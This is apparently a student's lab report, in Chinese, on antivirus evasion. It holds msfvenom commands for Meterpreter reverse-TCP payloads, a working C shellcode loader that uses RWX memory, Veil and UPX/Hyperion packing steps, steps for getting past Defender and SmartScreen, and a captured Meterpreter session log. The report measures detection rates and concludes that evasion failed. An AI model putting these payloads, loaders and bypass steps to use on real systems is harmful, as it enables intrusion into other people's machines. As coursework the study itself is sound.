20242311 2026-2027-1《网络与系统攻防技术》实验三实验报告
学号: 20242311 姓名: 王润章 班级: 2423
实验名称: 免杀原理与实践
一、基础知识
(一)PE 文件与 Shellcode 的加载
Windows 只加载 PE 格式的可执行文件,其结构包括 DOS 头(MZ 开头)、NT 头(PE 签名)、可选头(入口点地址、节区数量)和节表(.text 代码段、.data 数据段、.rsrc 资源段等)。杀毒软件的静态扫描大多围绕这些结构展开:入口点是否落在异常位置、节区数量与权限是否合理、是否出现已知的加壳节名(如 UPX0、UPX1)、导入表是否只剩下少数几个敏感函数。
Shellcode 是一段位置无关的机器码,本身不构成文件,无法直接双击运行。要让它执行,必须由一个加载器程序把它放进可执行的内存再跳转过去。常用的做法是三件事:
| 步骤 | 使用的函数 | 作用 |
|---|---|---|
| 申请内存 | VirtualAlloc(..., PAGE_EXECUTE_READWRITE) |
得到一块可读写可执行的内存 |
| 写入代码 | memcpy(exec, buf, sizeof buf) |
把 shellcode 拷入该内存 |
| 跳转执行 | ((void (*)(void))exec)() |
把内存地址当作函数指针调用 |
其中 PAGE_EXECUTE_READWRITE(简称 RWX)是最关键的特征。正常程序很少出现同时可写与可执行的内存页,因为那正是"数据被当作代码执行"的形态。静态引擎未必看得出来,行为引擎却几乎必然记录这一动作。
(二)杀毒软件的检测路线
| 路线 | 原理 | 优点 | 局限 |
|---|---|---|---|
| 特征码匹配 | 提取文件中的字节序列或哈希,与特征库比对 | 准确、开销低 | 一个字节变化即失效,无法识别未知样本 |
| 静态启发式 | 分析熵值、节区结构、加壳特征、可疑导入表 | 可识别变种 | 误报率较高 |
| 动态行为与沙箱 | 在受控环境运行,观察 API 调用序列、注册表、网络连接 | 能对抗混淆与加密 | 需要运行环境,可被反沙箱规避 |
| 云查与信誉 | 哈希云库、数字签名、下载量、文件来源标记(MOTW) | 对未知样本有兜底 | 依赖联网与用户规模 |
这四条路线相互独立。通过前三条的样本,仍可能被第四条拦住。本次实验在回连阶段观察到的四层拦截,正对应这四条路线。
(三)免杀技术的基本分类
| 类别 | 代表手段 | 作用对象 |
|---|---|---|
| 改变内容 | 编码(XOR 变形)、加密 | 特征码 |
| 改变容器 | 压缩壳(UPX)、加密壳(Hyperion) | 特征码与节区结构 |
| 更换载体 | 自写加载器,替换工具模板 | 工具指纹 |
| 分离加载 | 载荷与加载器分离、运行时下载 | 文件级特征 |
| 环境对抗 | 反调试、反虚拟机、延迟执行 | 沙箱与行为分析 |
| 身份伪装 | 代码签名、白利用 | 信誉判定 |
可以看出,免杀并不是把程序改得"干净",而是让它的恶意意图在某一个检测维度上不可见。
(四)msfvenom 与编码器
msfvenom 生成 exe 时,是把指定的 payload 填入一套固定的 PE 模板中,因此同样参数下输出大小固定(本次为 7168 字节),只有载荷部分随 LHOST、LPORT 变化。这个固定模板后来成为判断"检测的是什么"的重要线索。
编码器(如 x86/shikata_ga_nai)的作用是对载荷字节做多轮 XOR 变换,并在开头附上一段解密代码。多轮编码只改变加密后的数据部分,那段解密代码的结构基本不变,且始终以明文存在。
二、实验内容
(一)实验任务
- 使用 msfvenom 生成 Windows 后门,并在多引擎在线扫描平台测量检出率,作为基线。
- 使用 msf 编码器生成单次编码、十次编码的 exe,以及 jar、php 等其他格式的载荷。
- 用 Veil-Evasion 生成 C 载荷,在加壳前后各测一次检出率。
- 使用 C 语言结合 shellcode 自行编写加载器。
- 使用 UPX 压缩壳与 Hyperion 加密壳对样本加壳。
- 组合编码、加载器、加壳等手段,观察检出率变化。
- 在开启杀软的另一台电脑上实测运行与回连,记录杀软名称、版本与拦截情况。
总体思路是沿着"减少可被识别的结构"这一条主线,从工具默认产物出发逐步剥离可检测成分,每一步都用检出率测量,最后在真实靶机上验证功能与拦截行为。每个样本同时记录检出率、文件大小、SHA256、能否执行四项;任何"低检出"都必须先确认文件仍然可用,才计入免杀效果。
(二)实验要求问题回答
问题1:杀软是如何检测出恶意代码的?
杀软并不是"看懂"程序想做什么,而是沿着四条独立路线做概率判断。第一条是特征码匹配,从已知样本提取稳定字节序列入库比对,本次 VirScan 的 48 个引擎大多属于这一类,因此报毒名常带家族标识(Win32.MsfShell-E、BackDoor.Meterpreter.1462),它们认的是"这段代码我见过"。第二条是静态启发式,不比对具体字节,而看结构是否像恶意程序,例如熵值过高、节区数量与权限异常、导入表只剩内存分配与网络函数。第三条是动态行为与沙箱,把样本跑一遍,记录 API 序列、内存权限变化和外联地址,C 加载器里那句 VirtualAlloc(..., PAGE_EXECUTE_READWRITE) 就属于这一类。第四条是云查与信誉,不看内容只看是否可信,依据是哈希云库、数字签名、下载量与文件来源标记。
问题2:免杀是做什么?
免杀是在保持恶意代码功能完整可用的前提下,降低它被上述任一检测路线识别的概率。这里有两个要点:一是前提必须"可用",本次实验中 met_encoded10_php_20242311.php 检出仅 2/48,看似最成功,但文件已被 x86 编码器改成乱码,PHP 解释器根本无法执行,这属于失败而不是免杀;二是目标是"不可见"而不是"变无害",免杀不改变代码能力,只改变它在检测维度上的呈现。
问题3:免杀的基本方法有哪些?
常见方法包括编码加密、加壳、更换加载器、载荷分离、环境对抗和身份伪装。本次实测的结果是分化的:编码无效(16→16→17,因为解密代码本身是公开特征);UPX 无影响(6→6,引擎能自动脱壳);Hyperion 反而恶化(6→20,壳体被精确命名);重写加载器最有效(16→6,去掉工具指纹后约六成检出消失)。由此得到的判断是,方法必须与被对抗的检测维度匹配,而身份伪装是唯一能作用于信誉层的手段。
三、实验过程
(一)实验准备:环境与参数
攻击机为 VMware 中的 Kali Linux(内核 6.19.14+kali-amd64),IP 为 192.168.17.129/24,终端主机名为 wangrunzhang;靶机为 Windows 11 24H2(Build 26200,x64),IP 为 192.168.17.1,计算机网络名为 LAPTOP-R4L7E2HQ,登录账户为 lenovo。靶机上同时装有火绒安全软件(6.0.12.1)与 Windows 自带的 Microsoft Defender。
实验参数统一为:学号 20242311、LHOST=192.168.17.129、LPORT=2311。监听端口取学号后四位,便于与同学区分,避免端口冲突。所有样本放在 ~/lab3,文件名均包含学号。
开始前先做环境自检:
export SID=20242311 LHOST=192.168.17.129 LPORT=2311
df -h / | tail -1; free -h | head -2
for t in msfvenom msfconsole upx i686-w64-mingw32-g++ wine veil java php; do
printf "%-26s %s\n" "$t" "$(command -v $t || echo '缺失')"
done

自检显示磁盘 79G 可用 59G 充裕,但内存仅 1.9G、可用不足 1G,且 i686-w64-mingw32-g++、wine、veil 均缺失。其中内存偏小在后续安装 Veil 时可能触发编译期内存不足,因此在继续之前先关机把内存扩到 4G。
补装编译链与 wine 后,验证工具是否可用:
wine --version
cd /usr/share/windows-resources/hyperion && wine hyperion.exe
free -h | head -2

该输出中 err:ole:、err:setupapi: 一类提示属于无图形界面下 wine 的启动噪声,可以忽略;判断依据是它正常打印了 Hyperion PE-Crypter Version 2.0 的用法与 -k、-s、-l、-v 四个参数,说明程序本身已能运行。
(二)msfvenom 生成基础后门并测量基线
(1)生成样本
mkdir -p ~/lab3 && cd ~/lab3
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT \
-f exe -o met${SID}.exe
sha256sum met${SID}.exe
输出为 Payload size: 355 bytes、Final size of exe file: 7168 bytes,文件 7.0K,SHA256 为 2002d905…ceed2。
(2)测量检出率
将样本上传 VirScan 后得到 16/48,并核对报告页显示的文件大小与 SHA256 与本地一致,确认上传的正是刚生成的文件。

首次上传时曾出现报告页 SHA256 为 84d5d89e… 的情况,与本地不符,判断为误选了同目录下的同名旧文件,该次数据作废重传。此后每次上传都先核对哈希前 8 位。
(3)结果分析
16/48 意味着 48 个引擎中有 32 个未能识别。但更值得注意的是这批报毒名指向哪里:DrWeb 报 BackDoor.Meterpreter.1462、VBA32 报 BScope.Trojan.Metasploit、ClamAV 报 Win.Trojan.MSShellcode-…。这些名称指向的是工具家族与模板,而不只是载荷本身。这为后面的任务四提供了直接依据:如果换掉工具模板,这部分检出可能一并消失。
(三)msf 编码器与多格式载荷
(1)exe 单次编码与十次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' \
LHOST=$LHOST LPORT=$LPORT -f exe -o met${SID}_2.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
LHOST=$LHOST LPORT=$LPORT -f exe -o met${SID}_3.exe
十次编码的日志中可以看到载荷逐次膨胀:382 → 409 → 436 → 463 → 490 → 517 → 544 → 571 → 598 → 625 字节。
| 样本 | 大小 | 检出率 |
|---|---|---|
| 未编码(基准) | 7168 B | 16/48 |
| 单次编码 | 7168 B | 16/48 |
| 十次编码 | 7680 B | 17/48 |


编码一次检出不变,编码十次反而升高一个。原因写在报毒名里:AVG 与 Avast 报 Win32.ShikataGaNai-C。被识别的不是加密后的载荷,而是 shikata_ga_nai 那段固定的解密代码——它结构稳定、始终明文、早已被收录。编码次数越多,文件里带的"标准解密头"越完整。因此多次编码并不等于更好的免杀效果,它只是换了一种特征。
(2)jar 载荷
msfvenom -p java/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -o metjar${SID}.jar
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 \
LHOST=$LHOST LPORT=$LPORT -o met-encode-jar${SID}.jar
| 样本 | 大小 | 检出率 |
|---|---|---|
metjar20242311.jar |
5264 B | 14/48 |
met-encode-jar20242311.jar |
5264 B | 14/48 |


两条命令的输出有一处决定性的差别:带 -e 的那次没有出现 Found 1 compatible encoders 与 Attempting to encode payload 两行,直接给出 Payload size: 5264 bytes。进一步核对产物:
md5sum metjar20242311.jar met-encode-jar20242311.jar
cmp metjar20242311.jar met-encode-jar20242311.jar
cmp 报 differ: byte 11。jar 本质是 ZIP,其本地文件头中偏移 10–11 正是"最后修改时间"字段,也就是说两个文件的差异只来自打包时间戳。把内部类剥出来再比:

两者的 metasploit/Payload.class 均为 e0efce91393df3801df3790996946fb1,字节级完全相同。结论是:-e x86/shikata_ga_nai 对 Java 载荷没有产生任何编码效果,msfvenom 识别出载荷是 Java 字节码后跳过了 x86 编码器,且不报错、不警告。两次 14/48 一致是必然结果,因为上传的实质是同一个载荷。
(3)php 载荷
msfvenom -p php/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f raw -o metphp_${SID}.php
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 \
LHOST=$LHOST LPORT=$LPORT -f raw -o met_encoded10_php_${SID}.php
| 样本 | 大小 | 检出率 |
|---|---|---|
metphp20242311.php |
1114 B | 8/48 |
met_encoded10_php20242311.php |
1404 B | 2/48 |


2/48 看似是整组样本里最好的数字,但检查文件内容后可以判断它不能计入免杀效果:
原始: /*<?php /**/ error_reporting(0); $ip = '192.168.17.129'; $port = 2311; ...
编码后:t\x..lX..j0....+..PZEo?c...
原始文件开头是合法 PHP 代码,且能清楚看到本次实验的 IP 与端口;编码后已是一段二进制乱码。原因是日志中 arch 标注为 php,却仍然调用了 x86/shikata_ga_nai 这个机器码编码器,把 PHP 源码当作机器码做了十轮变换,PHP 解释器不会执行这样的文件。
我们觉得这是文件损坏,而不是免杀成功。由此确立第一个判据:免杀的前提是"仍然可用",一个跑不起来的文件,检出率再低也没有意义。
(4)本阶段小结
| # | 样本 | 大小 | 检出率 | 说明 |
|---|---|---|---|---|
| 1 | met20242311.exe | 7168 B | 16/48 | 基准 |
| 2 | met20242311_2.exe | 7168 B | 16/48 | 单次编码,无变化 |
| 3 | met20242311_3.exe | 7680 B | 17/48 | 十次编码,反升 |
| 4 | metjar20242311.jar | 5264 B | 14/48 | — |
| 5 | met-encode-jar20242311.jar | 5264 B | 14/48 | 编码未生效 |
| 6 | metphp20242311.php | 1114 B | 8/48 | — |
| 7 | met_encoded10_php20242311.php | 1404 B | 2/48 | 文件已损坏 |
七个样本中没有一个构成有效免杀,两个"低检出"数字分别来自工具未生效和文件已损坏。
(四)任务三:用 Veil-Evasion 生成 C 载荷
Veil-Evasion 是一个把载荷封装成可执行文件的框架。本任务用它生成 c/meterpreter/rev_tcp,并在加壳前后各测一次检出率。
(1)部署与启动
veil 3.1.14 一直在 Kali 官方源里,一条命令装好,配置文件与输出目录由安装脚本自动生成:
sudo apt install -y veil
第一次安装曾返回 E: Unable to locate package veil,我据此误判为工具已被移出仓库,转去拉源码跑 setup.sh,结果它依赖的四个运行时下载地址全部写死于 2017 年。

启动前 Veil 会检查 Go、PyInstaller 与 wine 内的 Python 3.4 / Ruby 1.8.7 / AutoIT 五项,这些只服务于 python、ruby、cs 类载荷;C 载荷走系统里的 i686-w64-mingw32-gcc,按路径补空文件即可通过。缺的 Crypto 模块用独立虚拟环境补上(系统的 pycryptodomex 只提供 Cryptodome 命名空间,与老代码不兼容):
python3 -m venv --system-site-packages ~/veilenv
~/veilenv/bin/pip install pycryptodome
cd /usr/share/veil
sudo env PYTHONPATH=/usr/share/veil:/usr/share/veil/tools/ordnance \
~/veilenv/bin/python /usr/share/veil/Veil.py

(2)生成载荷与加壳
加载 c/meterpreter/rev_tcp.py,设 LHOST=192.168.17.129、LPORT=2311 后 generate,一次产出三个文件:编译好的 exe、C 源码、msfconsole 资源脚本(参数与本次一致,可直接 msfconsole -r 加载)。


输出目录属 root,直接 upx -o 会报 Permission denied,先复制到作业目录再处理:

| 样本 | 处理 | 体积 | SHA256(前 8 位) | VirScan 检出 |
|---|---|---|---|---|
20242311.exe |
Veil C 载荷 | 115767 B | 097cfe92 |
6/48 |
20242311_veil_upx.exe |
UPX 4.2.4,压缩率 56.66% | 65591 B | 68dbd343 |
4/48 |


(3)结果分析
4/48 是本次实验全部样本中的最低值。报警引擎集中在四家,UPX 前后对比:
| 引擎 | 20242311.exe |
20242311_veil_upx.exe |
|---|---|---|
| ESET | a variant of Win32/Agent.QQQ trojan | 同左 |
| F-Prot | W32/Felix:CO.VC!Eldorado | 同左 |
| Rising | Malware.Undefined!8.C | 同左 |
| OneAV | Win.Malicious.ml | Win.Malicious.ml!packed |
| Avira | TR/ATRAPS.Gen7 | 未检出 |
| FisecLab | Suspicious.Heuri.NewThreat.MVM | 未检出 |
UPX 只甩掉 Avira 与 FisecLab 两个通用启发式引擎(都是 generic / suspicious 类命名),给出家族名的四家原样保留,OneAV 还把判定名补成 !packed——它先认出文件,再标注"已加壳"。
低检出的原因在载荷的形态上。生成的 20242311.c 只有 16 行,标识符是 JAlzxDJLFQsMPa 这类每次生成都不同的随机串;调用链为 socket → connect → recv → malloc → VirtualAlloc → memcpy → CreateThread。它是 stager 不是 loader,磁盘上的文件里没有 shellcode,第二阶段在运行时才从 handler 取。
| 对比项 | 手写 loader(任务四) | Veil C 载荷 |
|---|---|---|
| shellcode 位置 | 内嵌 unsigned char buf[] |
运行时从 handler 接收 |
| 体积 | 108637 B | 115767 B |
| ClamAV 判定 | Win32.MsfShell-E |
未检出 |
| VirScan 检出 | 6/48 | 6/48(UPX 后 4/48) |
MsfShell-E 是专门匹配 msf shellcode 的规则,Veil 里没有这段字节,ClamAV 就放过了它。但总数没有下降——少掉的特征被 ESET、F-Prot、Rising、OneAV 从编译器运行时、导入表和模型推理上补了回来。去掉静态 shellcode 只解决了"壳里装了什么",没有解决"这段代码要干什么"。
本项最终 6/48、UPX 后 4/48,未达到可用水平,但与任务四的手写加载器持平,说明 Veil 的封装并不比手写更隐蔽,改变的只是被检测的位置——从静态的 shellcode 字节,变成运行时的可执行内存申请与外连。
(五)C 语言结合 Shellcode 编程
(1)思路
任务一的 16/48 中有相当一部分报警针对的是 msfvenom 的固定 PE 模板。如果换用自己编译的 PE 作为外壳、只保留原始 shellcode,这部分特征理论上应当消失。
(2)生成 shellcode 并编写加载器
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT \
-f c -o shellcode_c_${SID}.c
输出是一个 C 数组 unsigned char buf[] = "\xfc\xe8...";,payload 355 字节,源文件 1522 字节。在文件末尾追加加载器:
#include <windows.h>
#include <string.h>
int main(void) {
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (exec == NULL) return 1;
memcpy(exec, buf, sizeof buf);
((void (*)(void))exec)();
return 0;
}

(3)编译与核验
i686-w64-mingw32-gcc shellcode_c_${SID}.c -o shellcode_c_${SID}.exe -O2
file shellcode_c_${SID}.exe

file 识别为 PE32 executable for MS Windows 4.00 (console), Intel i386, 16 sections,大小 106.09 KB,说明这是一个由本地编译器产出的正常 PE,而不是补丁式的模板。
(4)检出率
shellcode_c_20242311.exe:6/48

| 样本 | 大小 | 检出率 |
|---|---|---|
| msfvenom 模板 exe | 7168 B | 16/48 |
| 自编译 C 加载器 | 108637 B | 6/48 |
体积增长约 15 倍,检出下降 62%。观察报毒名,命中的是 Win32.MsfShell-E(AVG、Avast)、Win32/Rozena.BCD(ESET)、W32/Felix:CO.VCI!Eldorado(Fortinet)等,MsfShell 这一名称直接说明被识别的是内嵌的 msfvenom shellcode 字节序列,而不是外层 PE。
由此可以判断:在本次样本上,工具模板贡献了约六成的检出量。免杀的第一层工作量应当落在"去掉工具指纹",第二层才是"处理载荷字节"。同时也要注意,C 加载器引入了 PAGE_EXECUTE_READWRITE 这一强行为特征,它在静态扫描中更隐蔽,在运行时反而更容易暴露。
(六)加壳
(1)UPX 压缩壳
upx -9 -o shellcode_c_upx_${SID}.exe shellcode_c_${SID}.exe

压缩率达 55%,原因是 mingw 生成的 16 个节区里存在大量零填充与对齐块。
shellcode_c_upx_20242311.exe:6/48

检出率与加壳前完全相同,报毒名也没有变化,仍是 Win32.MsfShell-E 一类。这说明引擎具备自动脱壳能力,面对 UPX 会先还原原始 PE 再匹配特征,压缩并没有改变"被检测的对象"。UPX 的固定节名与解压 stub 虽然是公开特征,但在本样本上既没有带来额外扣分,也没有带来任何收益。
(2)Hyperion 加密壳
初次运行失败,报错指向输出文件路径:

Could not open /usr/share/windows-resources/hyperion/Src/Container/32/infile_size.inc
Could not write include file ...
排查顺序是:先怀疑参数顺序,改用相对路径,报错路径不变;再把整个目录复制到 ~/lab3/hyperion 并在其中运行,报错仍指向 /usr/share/...;最后用 strings 检查二进制:

/usr/share/windows-resources/hyperion/Src/Container/32/
/usr/share/windows-resources/hyperion/Src/Container/64/
/usr/share/windows-resources/hyperion/Fasm/FASM.EXE
/usr/share/windows-resources/hyperion/Src/Payloads/Aes/bin/aes10.dll
路径被硬编码在程序内,与当前工作目录无关。Hyperion 的工作流程是在 Src/Container/<位数>/ 下生成汇编源与 infile_size.inc,再调用 FASM 汇编出 stub,最后把 AES 加密后的 payload 拼入;整个过程必须在安装目录内写文件,而 Debian 系的安装位置属于 root 只读。解决方式是临时把该目录属主改为当前用户后原地运行:
sudo chown -R kali:kali /usr/share/windows-resources/hyperion
cd /usr/share/windows-resources/hyperion
wine hyperion.exe /home/kali/lab3/shellcode_c_${SID}.exe /home/kali/lab3/shellcode_c_hyp_${SID}.exe

运行中出现的 err:virtual:allocate_virtual_memory out of memory ... size 50000000(约 1.25G 预留失败)不影响产物生成,属 wine 32 位地址空间的预留噪声。
shellcode_c_hyp_20242311.exe:20/48

检出率从 6/48 升到 20/48,且报毒名整体换了一批,其中最关键的是 ClamAV 报出的 Win.Packer.Hyperion-1——它直接点名了壳本身。其余如 DrWeb Trojan.Packed2.42612、NANO Trojan.Win32.Packed2!juns、OneAV Win.Malicious.mt[packed]、IKARUS Trojan.Win32.Crypt、Avira TR/Crypt.XPACK.Gen,都属于"加壳/加密程序"这一类判定。
这说明加壳并没有把载荷藏起来,而是把样本变成了它自己。一个原本只有 6 家能认出的自编译加载器,加上 Hyperion 之后变成了 20 家都能认出的"标准加壳程序"。UPX 是能被脱掉的壳,Hyperion 是脱不掉但已被备案的壳。
(3)两种壳的对比
| 方式 | 体积变化 | 检出率变化 | 作用机制 | 主要暴露点 |
|---|---|---|---|---|
| 无壳 | 108637 B | 6/48 | — | 内嵌 msfvenom shellcode |
| UPX | 59997 B(−45%) | 6/48(不变) | 压缩 + 固定解压 stub | 引擎自动脱壳,等于无影响 |
| Hyperion | 124928 B(+16 KB) | 20/48(+14) | AES 加密 + 汇编 stub 运行时解密 | 壳本体被精确命名 |
(七)组合应用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
LHOST=$LHOST LPORT=$LPORT -f c -o ${SID}_shellcode_multi.c
十次迭代依旧完整可见(382→625 字节),源文件 2659 字节。追加与任务四相同的加载器后编译,再分别过 UPX 与 Hyperion:



| 样本 | 大小 | 处理 | 检出率 |
|---|---|---|---|
20242311_shellcode_multi.exe |
109153 B | 十次编码 + C 加载器 | 7/48 |
20242311_shellcode_multi_2.exe |
60513 B | + UPX | 6/48 |
20242311_shellcode_multi_3.exe |
125440 B | + Hyperion | 19/48 |



三点观察:
第一,十次编码让检出从 6 升到 7。multi 的报毒名中重新出现了 Win32.ShikataGaNai-B 与 Win.Trojan.MSShellcode-*,编码把"编码器指纹"又带了回来,与任务二的结论一致。
第二,UPX 把 7 拉回 6。这不是因为它免杀,而是压缩后部分字符串与结构匹配失效,脱壳后仍能命中。
第三,Hyperion 把 6 拉到 19。壳的成本在所有组合里最高,叠加的层数越多,样本越接近"标准的加壳恶意程序"这个原型。
因此本项的组合技最优解反而是最朴素的那个:不加壳的 6/48。这个结果与"多套几层更安全"的直觉相反——免杀是减法,减少可识别的结构,而不是增加复杂度。
(八)在开启杀软的主机上实测
(1)靶机与防护情况
靶机为 Windows 11 24H2(Build 26200,x64),计算机网络名 LAPTOP-R4L7E2HQ。杀软为火绒安全软件 6.0(版本信息见下图日志页)与 Microsoft Defender(随系统内置,含 SmartScreen)。两者同时开启。
(2)监听端与传输通道
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.17.129
msf exploit(multi/handler) > set LPORT 2311
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.17.129:2311

同时在 Kali 用 python3 -m http.server 8080 提供下载:

服务端日志显示 GET ... 200,说明文件已成功发出,拦截发生在客户端一侧。
(3)第一、二层:静态特征与下载扫描
先是 VirScan 的静态结果(任务一至任务六,4/48~20/48 不等)。真正尝试下载时,火绒在下载阶段直接拦截:
| 时间 | 文件 | 报毒名 | 功能 | 结果 |
|---|---|---|---|---|
| 12:27:18 | met20242311.exe |
HVM:Trojan/Swrot.gen!A |
WEB 扫描 | 已阻止 |
| 12:28:07 | 20242311_shellcode_multi_3.exe |
Trojan/Obfuscated.cp |
WEB 扫描 | 已阻止 |


两次拦截的操作进程都是 msedge.exe,样本未落盘。值得注意的是报毒名的变化:基准样本命中具体家族 Swrot,免杀样本的家族识别失败,只剩"被混淆的程序"这一泛化判定。这说明 Hyperion 加密确实抹掉了家族特征,但"被混淆"本身又成为新的检测点。
(4)第三层:信誉判定
为了绕开下载扫描,采取了三条措施:把目标目录加入 Defender 排除项与火绒信任区、用带密码的 zip 传输(zip -P 20242311)、解压后用 Unblock-File 解除网络来源标记。文件成功落盘,但直接双击仍被拦住:

这一层与前两层性质不同。它不检查文件内容,而是判断文件是否可信,依据是"是否带网络来源标记"与"是否有数字签名或下载信誉"。自编译的 exe 全网没有信誉记录,必然被判定为无法识别的应用。前面所有编码、加壳、换加载器的手段在这里全部无效,因为它们对抗的是内容特征,而这里做的是信任评估。
(5)第四层:运行时与回连结果
解除标记后样本可以启动,Kali 端收到会话:
[*] Sending stage (203454 bytes) to 192.168.17.1
[*] Meterpreter session 1 opened (192.168.17.129:2311 -> 192.168.17.1:59020)
Computer : LAPTOP-R4L7E2HQ
OS : Windows 11 24H2+ (10.0 Build 26200)
Architecture : X64
System Language : zh_CN
Domain : WORKGROUP
Meterpreter : x86/windows
Server username : LAPTOP-R4L7E2HQ\lenovo

从 sysinfo 可以看到两个细节:x64 系统运行了 x86 载荷(Architecture: X64 而 Meterpreter: x86/windows),依赖 Windows 的 WoW64 兼容层;会话以当前登录用户权限运行,未做提权。
随后恢复防护、把样本从排除目录复制到桌面再执行,火绒立即删除:
| 时间 | 报毒名 | 路径 | 操作进程 | 结果 |
|---|---|---|---|---|
| 13:37:38 | Trojan/Obfuscated.cp |
C:\Users\lenovo\Desktop\20242311_shellcode_multi_3.exe |
explorer.exe |
已处理,删除文件 |
| 13:46:12 | Trojan/Obfuscated.cp |
C:\lab3\multi3\20242311_shellcode_multi_3.exe |
MsMpEng.exe |
已处理,删除文件 |


两点补充。其一,这两次的报毒名与 12:28 那条完全一致,说明火绒对该文件的判定是稳定识别,而不是下载环节的启发式误报。其二,第二行的操作进程是 MsMpEng.exe(Defender 的扫描引擎,父进程为 services.exe),说明该目录同时处于两套防护的扫描范围内,此前只是因为加入了排除项才未触发。
(6)关于"与杀软共生"的说明
本实验并未实现免杀后与杀软共生。 上述会话是在把目录加入 Defender 排除项与火绒信任区、并用 Unblock-File 解除来源标记之后取得的,属于人工放行后的功能验证,不能记为免杀成功。
能够确认的事实是:四层拦截中,除静态特征层只被 6/48 命中(48 家引擎里 42 家未报警)之外,下载扫描(Trojan/Obfuscated.cp,已阻止)、信誉判定(SmartScreen)、运行时监控(已处理、删除文件)三层全部拦住。也就是说,这份样本能骗过大多数静态引擎,却骗不过另外三层。因此本次实验的结论是免杀未达成,取得的成果是找到了它被拦在哪一层、以及为什么被拦。
(7)四层拦截汇总
| 层 | 拦截者 | 判定依据 | 本次样本能否绕过 |
|---|---|---|---|
| 1 静态特征 | VirScan 各引擎 | 字节特征匹配 | 部分(16/48 → 6/48) |
| 2 下载扫描 | 火绒 WEB 扫描 | 内容启发式 | 否 |
| 3 信誉判定 | SmartScreen | 来源标记 + 无签名/无信誉 | 否(只能人工放行) |
| 4 运行时 | 火绒文件实时监控 + Defender | 落地与执行时扫描 | 否(删除文件) |
四、问题及解决方案
(一)安装 wine 时报告 wine32 无安装候选
问题现象: 执行 sudo apt -y install wine wine32 wine64 时提示 Package 'wine32' has no installation candidate,此前已执行过 dpkg --add-architecture i386。
排查过程: 查看 apt update 的完整输出,发现系统同时配置了五个软件源,大量请求尝试 IPv6 并返回 Network is unreachable,kali.download 的 binary-i386/Packages 超时、Contents-i386 返回 404,最终只下载 410 kB、速度 3.8 kB/s,触发 Some index files failed to download。也就是说 i386 的索引根本没有取到,apt 自然认为 wine32 不存在。
解决方法: 强制走 IPv4、精简为单一国内镜像、清空旧索引后重新 update:
echo 'Acquire::ForceIPv4 "true";' | sudo tee /etc/apt/apt.conf.d/99force-ipv4
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak.$(date +%s)
printf 'deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free non-free-firmware\n' | sudo tee /etc/apt/sources.list
sudo rm -rf /var/lib/apt/lists/*
sudo apt update
之后 dpkg --print-foreign-architectures 输出 i386,apt-cache policy 中 wine、wine64、wine32:i386 均出现候选。安装过程中 libc6 通过 debconf 询问是否自动重启相关服务:

选择 Yes 后,libc6:i386 的同类询问自动跳过。本机为实验虚拟机,该操作没有副作用。
(二)Hyperion 报无法写入 include 文件
问题现象: 在任意目录下执行 wine hyperion.exe 均报 Could not open /usr/share/windows-resources/hyperion/Src/Container/32/infile_size.inc。
排查过程: 先按参数顺序排查,无效;再复制整个程序目录到用户目录运行,报错路径仍然是 /usr/share/...;最后用 strings 检查二进制,发现四条路径全部硬编码。
解决方法: 把该目录属主临时改为当前用户,在原位置运行:
sudo chown -R kali:kali /usr/share/windows-resources/hyperion
经验总结: 遇到"文件写不进去",应先确认程序实际访问的是哪个路径,而不是假设它使用当前目录。strings 在这个场景里比反复猜参数快得多。
(三)apt 报告找不到 veil 包
问题现象: 执行 sudo apt install veil 返回 E: Unable to locate package veil。
排查过程: 起初据此认定新版 Kali 已移除该工具,改从 GitHub 源码部署,结果 setup.sh 依赖的四个运行时下载地址全部失效,又在配置文件和模块路径上反复受阻。事后核对 Kali 官方工具页,veil 3.1.14 仍在列;apt-cache policy veil 也给出了候选版本。根因是本节的(一)——软件源混用、i386 索引未取到、IPv6 请求大量超时。索引不完整时,apt 对任何包都只会回答"找不到"。
解决方法: 修复源后一条 apt install 装完,配置与输出目录由安装脚本生成;Crypto 用独立虚拟环境提供,output/compiled/ 属 root 需先复制再 upx。
经验总结: E: Unable to locate package 只说明"当前索引里没有这个包",不能推出"这个包不存在"。同一个报错,"工具被移除"和"索引坏了"对应的处置是放弃和改一条命令,差别极大。
(四)样本无法投递到靶机
问题现象: 浏览器下载即被火绒阻止,文件不落盘;加入排除目录后,双击又被 SmartScreen 拦截。
排查过程: 先排除服务端因素——Kali 的 http.server 日志显示 GET ... 200,文件已发出;再用火绒日志确认拦截功能为"WEB 扫描",进程为 msedge.exe;解除下载拦截后出现 SmartScreen 界面,判断属于信誉层而非病毒库。
解决方法: 三条措施叠加——目标目录加入 Defender 排除项与火绒信任区、用带密码的 zip 传输、用 Unblock-File 解除网络来源标记。
经验总结: 拦截要按层定位。下载拦截、落地扫描、执行扫描、信誉判定是四件不同的事,混在一起处理只会得出"杀软很强,做不了"的结论。
(五)VirScan 报告中混入旧样本
问题现象: 首次上传后,报告页显示的 SHA256 为 84d5d89e…,与本地 2002d905… 不一致。
排查过程: 两个文件大小都是 7168 字节,从大小上看不出差异,因此怀疑上传时选中了其他目录的同名旧文件。
解决方法: 在文件选择对话框里明确进入 ~/lab3 重新上传,报告页哈希与本地一致后,该次 16/48 才作为正式数据使用。
经验总结: 实验数据的可信度依赖"报告页与产物能对上号",哈希是唯一可靠的绑定依据。此后每次上传都先核对前 8 位。
五、学习感悟与总结
